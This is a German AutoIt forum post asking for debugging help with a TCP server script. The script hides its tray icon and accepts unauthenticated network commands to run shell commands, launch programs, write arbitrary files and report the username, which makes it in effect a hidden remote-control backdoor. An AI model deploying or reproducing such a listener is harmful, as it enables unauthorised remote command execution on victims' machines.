TCPAccept nach Shellexecute Fehler

  • Hallo,
    ich hab ein Problem mit diesem Programm:

    Spoiler anzeigen
    [autoit]

    #NoTrayIcon
    #include <Process.au3>

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    TCPStartup()
    $s=TCPListen(@IPAddress1,5555,5)

    [/autoit] [autoit][/autoit] [autoit]

    While 1
    $acc=TCPAccept($s)
    If $acc<>-1 Then
    MsgBox(0,"","rein")
    $r=""
    While $r=""
    $r=TCPRecv($acc,4)
    Sleep(10)
    WEnd
    Switch $r
    Case "cmdc"
    _RunDOS(TCPRecv($acc,10000))
    Case "shex"
    $d=TCPRecv($acc,10000)
    $s=StringSplit($d,@CRLF,1)
    If @error=1 Then
    ShellExecute($d)
    Else
    ShellExecute($s[1],$s[2])
    EndIf
    Case "file"
    $d=TCPRecv($acc,10000)
    $s=StringSplit($d,@CRLF,1)
    If Not @error=1 Then
    $f=FileOpen($s[1],18)
    FileWrite($f,$s[2])
    For $x=3 to $s[0]
    FileWrite($f,$s[$x]&@CRLF)
    Next
    While 1
    $d=TCPRecv($acc,10000)
    if @error then ExitLoop
    FileWrite($f,$d)
    WEnd
    FileClose($f)
    EndIf
    Case "ison"
    TCPSend($acc,@UserName)
    EndSwitch
    TCPCloseSocket($acc)
    MsgBox(0,"","raus")
    EndIf
    Sleep(50)
    WEnd

    [/autoit] [autoit][/autoit] [autoit]

    TCPCloseSocket($s)
    TCPShutdown()

    [/autoit]

    so sende ich:

    [autoit]


    TCPStartup()
    $c=TCPConnect("127.0.0.1",5555)
    If @error Then ContinueLoop
    TCPSend($c,"shexmsconfig")
    TCPCloseSocket($c)

    [/autoit]

    Das Problem:
    einmal klappt es, während der Server on bleibt und ich ein 2. mal probiere sagt tcpaccept aber anscheinend immer weiter -1

    Danke im vorraus


    PS: wenn am Server mehrere male ison oder cmdc ankommt klappt es (info: da wird kein @crlf gesendet, bei file ist überhaupt noch irgendwas falsch)

    Einmal editiert, zuletzt von TheShadowAE (1. Februar 2011 um 20:12)